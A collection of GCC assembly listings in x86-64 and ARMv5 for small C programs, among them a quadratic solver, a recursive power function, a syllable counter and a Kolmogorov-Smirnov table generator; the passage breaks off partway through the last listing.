call __fstatfs64@PLT
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size fstatvfs64, .-fstatvfs64
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "191996.c"
.text
.align 2
.global fstatvfs64
.syntax unified
.arm
.fpu softvfp
.type fstatvfs64, %function
fstatvfs64:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl __fstatfs64
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fstatvfs64, .-fstatvfs64
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "371390.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "Enter a,b,c in the general form of the equation a^2 X+b X+c: "
.LC1:
.string "%d%d%d"
.align 8
.LC2:
.string "The answers are x1=%d , x2=%d \n"
.LC3:
.string "The answer is x=%d "
.LC4:
.string "The equation don't answer"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 56
.cfi_offset 3, -24
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rcx, -44[rbp]
lea rdx, -48[rbp]
lea rax, -52[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -48[rbp]
mov eax, DWORD PTR -48[rbp]
imul eax, edx
mov ecx, DWORD PTR -52[rbp]
mov edx, DWORD PTR -44[rbp]
imul edx, ecx
sal edx, 2
sub eax, edx
mov DWORD PTR -40[rbp], eax
cmp DWORD PTR -40[rbp], 0
jle .L2
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -40[rbp]
movq rax, xmm1
movq xmm0, rax
call sqrt@PLT
cvttsd2si eax, xmm0
mov edx, DWORD PTR -48[rbp]
sub eax, edx
mov edx, DWORD PTR -52[rbp]
lea ebx, [rdx+rdx]
cdq
idiv ebx
mov DWORD PTR -32[rbp], eax
mov eax, DWORD PTR -48[rbp]
neg eax
mov ebx, eax
pxor xmm2, xmm2
cvtsi2sd xmm2, DWORD PTR -40[rbp]
movq rax, xmm2
movq xmm0, rax
call sqrt@PLT
cvttsd2si edx, xmm0
mov eax, ebx
sub eax, edx
mov edx, DWORD PTR -52[rbp]
lea esi, [rdx+rdx]
cdq
idiv esi
mov DWORD PTR -28[rbp], eax
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
jmp .L3
.L2:
cmp DWORD PTR -40[rbp], 0
jne .L3
mov eax, DWORD PTR -48[rbp]
neg eax
mov edx, DWORD PTR -52[rbp]
lea ebx, [rdx+rdx]
cdq
idiv ebx
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -36[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
.L3:
cmp DWORD PTR -40[rbp], 0
jns .L6
lea rdi, .LC4[rip]
call puts@PLT
.L6:
nop
mov rax, QWORD PTR -24[rbp]
sub rax, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "371390.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter a,b,c in the general form of the equation a^2"
.ascii " X+b X+c: \000"
.align 2
.LC1:
.ascii "%d%d%d\000"
.global __aeabi_i2d
.global __aeabi_d2iz
.global __aeabi_idiv
.align 2
.LC2:
.ascii "The answers are x1=%d , x2=%d \012\000"
.align 2
.LC3:
.ascii "The answer is x=%d \000"
.align 2
.LC4:
.ascii "The equation don't answer\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r0, .L7+4
bl printf
sub r3, fp, #36
sub r2, fp, #40
sub r1, fp, #44
ldr r0, .L7+8
bl __isoc99_scanf
ldr r3, [fp, #-40]
ldr r2, [fp, #-40]
mul r2, r3, r2
ldr r3, [fp, #-44]
ldr r1, [fp, #-36]
mul r3, r1, r3
lsl r3, r3, #2
sub r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-32]
cmp r3, #0
ble .L2
ldr r0, [fp, #-32]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r2, r0
ldr r3, [fp, #-40]
sub r2, r2, r3
ldr r3, [fp, #-44]
lsl r3, r3, #1
mov r1, r3
mov r0, r2
bl __aeabi_idiv
mov r3, r0
str r3, [fp, #-24]
ldr r3, [fp, #-40]
rsb r4, r3, #0
ldr r0, [fp, #-32]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
sub r2, r4, r3
ldr r3, [fp, #-44]
lsl r3, r3, #1
mov r1, r3
mov r0, r2
bl __aeabi_idiv
mov r3, r0
str r3, [fp, #-20]
ldr r2, [fp, #-20]
ldr r1, [fp, #-24]
ldr r0, .L7+12
bl printf
b .L3
.L2:
ldr r3, [fp, #-32]
cmp r3, #0
bne .L3
ldr r3, [fp, #-40]
rsb r2, r3, #0
ldr r3, [fp, #-44]
lsl r3, r3, #1
mov r1, r3
mov r0, r2
bl __aeabi_idiv
mov r3, r0
str r3, [fp, #-28]
ldr r1, [fp, #-28]
ldr r0, .L7+16
bl printf
.L3:
ldr r3, [fp, #-32]
cmp r3, #0
bge .L6
ldr r0, .L7+20
bl puts
.L6:
nop
ldr r3, .L7
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L5
bl __stack_chk_fail
.L5:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L8:
.align 2
.L7:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "670845.c"
.intel_syntax noprefix
.text
.globl ft_recursive_power
.type ft_recursive_power, @function
ft_recursive_power:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -24[rbp], 0
jns .L2
mov eax, 0
jmp .L3
.L2:
cmp DWORD PTR -24[rbp], 0
jne .L4
mov eax, 1
jmp .L3
.L4:
cmp DWORD PTR -24[rbp], 1
je .L5
mov eax, DWORD PTR -24[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -4[rbp]
mov esi, edx
mov edi, eax
call ft_recursive_power
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
imul eax, DWORD PTR -20[rbp]
mov DWORD PTR -4[rbp], eax
.L5:
mov eax, DWORD PTR -4[rbp]
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size ft_recursive_power, .-ft_recursive_power
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "670845.c"
.text
.align 2
.global ft_recursive_power
.syntax unified
.arm
.fpu softvfp
.type ft_recursive_power, %function
ft_recursive_power:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
str r3, [fp, #-8]
ldr r3, [fp, #-20]
cmp r3, #0
bge .L2
mov r3, #0
b .L3
.L2:
ldr r3, [fp, #-20]
cmp r3, #0
bne .L4
mov r3, #1
b .L3
.L4:
ldr r3, [fp, #-20]
cmp r3, #1
beq .L5
ldr r3, [fp, #-20]
sub r3, r3, #1
mov r1, r3
ldr r0, [fp, #-8]
bl ft_recursive_power
str r0, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-16]
mul r3, r2, r3
str r3, [fp, #-8]
.L5:
ldr r3, [fp, #-8]
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size ft_recursive_power, .-ft_recursive_power
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "711272.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Please enter a string > "
.align 8
.LC1:
.string "The number of syllables is %d."
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rdx, QWORD PTR stdin[rip]
lea rax, -32[rbp]
mov esi, 19
mov rdi, rax
call fgets@PLT
lea rax, -32[rbp]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -36[rbp], eax
mov DWORD PTR -44[rbp], 0
jmp .L2
.L5:
mov eax, DWORD PTR -44[rbp]
cdqe
movzx eax, BYTE PTR -32[rbp+rax]
cmp al, 97
je .L3
mov eax, DWORD PTR -44[rbp]
cdqe
movzx eax, BYTE PTR -32[rbp+rax]
cmp al, 101
je .L3
mov eax, DWORD PTR -44[rbp]
cdqe
movzx eax, BYTE PTR -32[rbp+rax]
cmp al, 105
je .L3
mov eax, DWORD PTR -44[rbp]
cdqe
movzx eax, BYTE PTR -32[rbp+rax]
cmp al, 111
je .L3
mov eax, DWORD PTR -44[rbp]
cdqe
movzx eax, BYTE PTR -32[rbp+rax]
cmp al, 117
je .L3
mov eax, DWORD PTR -44[rbp]
cdqe
movzx eax, BYTE PTR -32[rbp+rax]
cmp al, 121
jne .L4
.L3:
add DWORD PTR -40[rbp], 1
.L4:
add DWORD PTR -44[rbp], 1
.L2:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L5
mov eax, DWORD PTR -40[rbp]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "711272.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Please enter a string > \000"
.align 2
.LC1:
.ascii "The number of syllables is %d.\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L8+4
bl printf
ldr r3, .L8+8
ldr r2, [r3]
sub r3, fp, #28
mov r1, #19
mov r0, r3
bl fgets
sub r3, fp, #28
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-32]
mov r3, #0
str r3, [fp, #-40]
b .L2
.L5:
sub r2, fp, #28
ldr r3, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #97
beq .L3
sub r2, fp, #28
ldr r3, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #101
beq .L3
sub r2, fp, #28
ldr r3, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #105
beq .L3
sub r2, fp, #28
ldr r3, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #111
beq .L3
sub r2, fp, #28
ldr r3, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #117
beq .L3
sub r2, fp, #28
ldr r3, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #121
bne .L4
.L3:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L4:
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L2:
ldr r2, [fp, #-40]
ldr r3, [fp, #-32]
cmp r2, r3
blt .L5
ldr r1, [fp, #-36]
ldr r0, .L8+12
bl printf
mov r3, #0
ldr r2, .L8
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L7
bl __stack_chk_fail
.L7:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC2
.word .LC0
.word stdin
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "26050.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "26050.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "446291.c"
.intel_syntax noprefix
.text
.globl fegetexceptflag
.type fegetexceptflag, @function
fegetexceptflag:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
mov eax, DWORD PTR -12[rbp]
mov edi, eax
call fetestexcept@PLT
mov edx, eax
mov rax, QWORD PTR -8[rbp]
mov WORD PTR [rax], dx
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size fegetexceptflag, .-fegetexceptflag
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "446291.c"
.text
.align 2
.global fegetexceptflag
.syntax unified
.arm
.fpu softvfp
.type fegetexceptflag, %function
fegetexceptflag:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r0, [fp, #-12]
bl fetestexcept
mov r3, r0
mov r2, r3
ldr r3, [fp, #-8]
str r2, [r3]
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fegetexceptflag, .-fegetexceptflag
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "286467.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d \n"
.LC2:
.string "%f \n"
.LC3:
.string "%c \n"
.LC4:
.string "Hello Worlld"
.LC5:
.string "%s \n"
.LC6:
.string "I have Printed"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov esi, 45
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR .LC1[rip]
movq xmm0, rax
lea rdi, .LC2[rip]
mov eax, 1
call printf@PLT
mov esi, 74
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
lea rsi, .LC4[rip]
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
mov edi, 10
call putchar@PLT
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 8
.LC1:
.long 687194767
.long 1078267740
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "286467.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d \012\000"
.align 2
.LC1:
.ascii "%f \012\000"
.align 2
.LC2:
.ascii "%c \012\000"
.align 2
.LC3:
.ascii "Hello Worlld\000"
.align 2
.LC4:
.ascii "%s \012\000"
.align 2
.LC5:
.ascii "I have Printed\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
mov r1, #45
ldr r0, .L3
bl printf
ldr r2, .L3+4
ldr r3, .L3+8
ldr r0, .L3+12
bl printf
mov r1, #74
ldr r0, .L3+16
bl printf
ldr r1, .L3+20
ldr r0, .L3+24
bl printf
mov r0, #10
bl putchar
ldr r0, .L3+28
bl printf
mov r3, #0
mov r0, r3
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC0
.word 687194767
.word 1078267740
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "95785.c"
.intel_syntax noprefix
.text
.section .rodata
.LC8:
.string "\\begin{table} "
.LC9:
.string "\\begin{center} "
.LC10:
.string "\\begin{tabular}{rrrrrrrr} "
.align 8
.LC11:
.string "\\hline\n $n$ & $0.7$ & $0.8$ & $0.9$& $0.95$&$0.98$&$0.99$&$0.995$\\\\\\hline "
.LC13:
.string "$ %lg $ "
.LC22:
.string "Error: precision not reached"
.align 8
.LC23:
.string "Error: probability did not converge"
.LC24:
.string " & $ %.3lf $ "
.LC25:
.string "\\\\ "
.LC28:
.string "\\hline "
.LC29:
.string "\\end{tabular} "
.LC30:
.string "\\end{center} "
.align 8
.LC31:
.string "\\caption{Tavola delle probabilit\\`a per il test di Kolmogorov-Smirnov} "
.LC32:
.string "\\end{table} "
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 272
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -152[rbp], 10000
mov QWORD PTR -144[rbp], 1000
movsd xmm0, QWORD PTR .LC0[rip]
movsd QWORD PTR -136[rbp], xmm0
movsd xmm0, QWORD PTR .LC0[rip]
movsd QWORD PTR -128[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -64[rbp], xmm0
movsd xmm0, QWORD PTR .LC2[rip]
movsd QWORD PTR -56[rbp], xmm0
movsd xmm0, QWORD PTR .LC3[rip]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR .LC4[rip]
movsd QWORD PTR -40[rbp], xmm0
movsd xmm0, QWORD PTR .LC5[rip]
movsd QWORD PTR -32[rbp], xmm0
movsd xmm0, QWORD PTR .LC6[rip]
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR .LC7[rip]
movsd QWORD PTR -16[rbp], xmm0
lea rdi, .LC8[rip]
call puts@PLT
lea rdi, .LC9[rip]
call puts@PLT
lea rdi, .LC10[rip]
call puts@PLT
lea rdi, .LC11[rip]
call puts@PLT
movsd xmm0, QWORD PTR .LC12[rip]
movsd QWORD PTR -160[rbp], xmm0
jmp .L2
.L20:
mov rax, QWORD PTR -160[rbp]
movq xmm0, rax
lea rdi, .LC13[rip]
mov eax, 1
call printf@PLT
mov QWORD PTR -240[rbp], 0
jmp .L3
.L19:
pxor xmm0, xmm0
movsd QWORD PTR -176[rbp], xmm0
movsd xmm0, QWORD PTR .LC15[rip]
movsd QWORD PTR -168[rbp], xmm0
mov rax, QWORD PTR -240[rbp]
movsd xmm0, QWORD PTR -64[rbp+rax*8]
movsd QWORD PTR -120[rbp], xmm0
movsd xmm0, QWORD PTR -176[rbp]
movapd xmm1, xmm0
addsd xmm1, QWORD PTR -168[rbp]
movsd xmm0, QWORD PTR .LC16[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -192[rbp], xmm0
movsd xmm0, QWORD PTR -192[rbp]
movsd QWORD PTR -184[rbp], xmm0
mov rax, QWORD PTR -160[rbp]
movq xmm0, rax
call sqrt@PLT
movsd xmm1, QWORD PTR -192[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -192[rbp], xmm0
mov QWORD PTR -224[rbp], 0
mov QWORD PTR -248[rbp], 0
jmp .L4
.L17:
movsd xmm0, QWORD PTR .LC15[rip]
movsd QWORD PTR -200[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -216[rbp], xmm0
movsd xmm0, QWORD PTR -216[rbp]
movsd QWORD PTR -112[rbp], xmm0
movsd xmm0, QWORD PTR -216[rbp]
movsd QWORD PTR -208[rbp], xmm0
mov rax, QWORD PTR -160[rbp]
movq xmm0, rax
call sqrt@PLT
movsd xmm1, QWORD PTR .LC17[rip]
divsd xmm1, xmm0
movsd xmm0, QWORD PTR .LC15[rip]
addsd xmm1, xmm0
movsd xmm0, QWORD PTR .LC18[rip]
divsd xmm0, QWORD PTR -160[rbp]
addsd xmm0, xmm1
movsd xmm1, QWORD PTR -192[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
movsd xmm1, QWORD PTR -104[rbp]
movsd xmm0, QWORD PTR .LC19[rip]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -104[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov QWORD PTR -232[rbp], 0
mov QWORD PTR -256[rbp], 1
jmp .L5
.L9:
pxor xmm0, xmm0
cvtsi2sd xmm0, QWORD PTR -256[rbp]
movsd QWORD PTR -88[rbp], xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -80[rbp], xmm0
movsd xmm0, QWORD PTR -200[rbp]
addsd xmm0, xmm0
movsd QWORD PTR -264[rbp], xmm0
movsd xmm0, QWORD PTR -96[rbp]
movapd xmm4, xmm0
mulsd xmm4, QWORD PTR -80[rbp]
movq rax, xmm4
movq xmm0, rax
call exp@PLT
mulsd xmm0, QWORD PTR -264[rbp]
movsd xmm1, QWORD PTR -216[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -216[rbp], xmm0
movsd xmm0, QWORD PTR -208[rbp]
movsd QWORD PTR -112[rbp], xmm0
movsd xmm0, QWORD PTR -216[rbp]
movsd QWORD PTR -208[rbp], xmm0
movsd xmm0, QWORD PTR -200[rbp]
movq xmm1, QWORD PTR .LC20[rip]
xorpd xmm0, xmm1
movsd QWORD PTR -200[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
subsd xmm0, QWORD PTR -208[rbp]
movq xmm1, QWORD PTR .LC21[rip]
andpd xmm1, xmm0
movsd xmm0, QWORD PTR -136[rbp]
comisd xmm0, xmm1
jbe .L26
mov QWORD PTR -232[rbp], 1
jmp .L8
.L26:
add QWORD PTR -256[rbp], 1
.L5:
mov rax, QWORD PTR -256[rbp]
cmp rax, QWORD PTR -152[rbp]
jl .L9
.L8:
cmp QWORD PTR -232[rbp], 0
jne .L10
lea rdi, .LC22[rip]
call puts@PLT
mov edi, -9
call exit@PLT
.L10:
movsd xmm0, QWORD PTR -216[rbp]
movsd QWORD PTR -72[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
subsd xmm0, QWORD PTR -120[rbp]
comisd xmm0, QWORD PTR -128[rbp]
jbe .L27
movsd xmm0, QWORD PTR -184[rbp]
movsd QWORD PTR -176[rbp], xmm0
movsd xmm0, QWORD PTR -176[rbp]
movapd xmm1, xmm0
addsd xmm1, QWORD PTR -168[rbp]
movsd xmm0, QWORD PTR .LC16[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -184[rbp], xmm0
mov rax, QWORD PTR -160[rbp]
movq xmm0, rax
call sqrt@PLT
movsd xmm1, QWORD PTR -184[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -192[rbp], xmm0
jmp .L13
.L27:
movsd xmm0, QWORD PTR -72[rbp]
movapd xmm1, xmm0
subsd xmm1, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR -128[rbp]
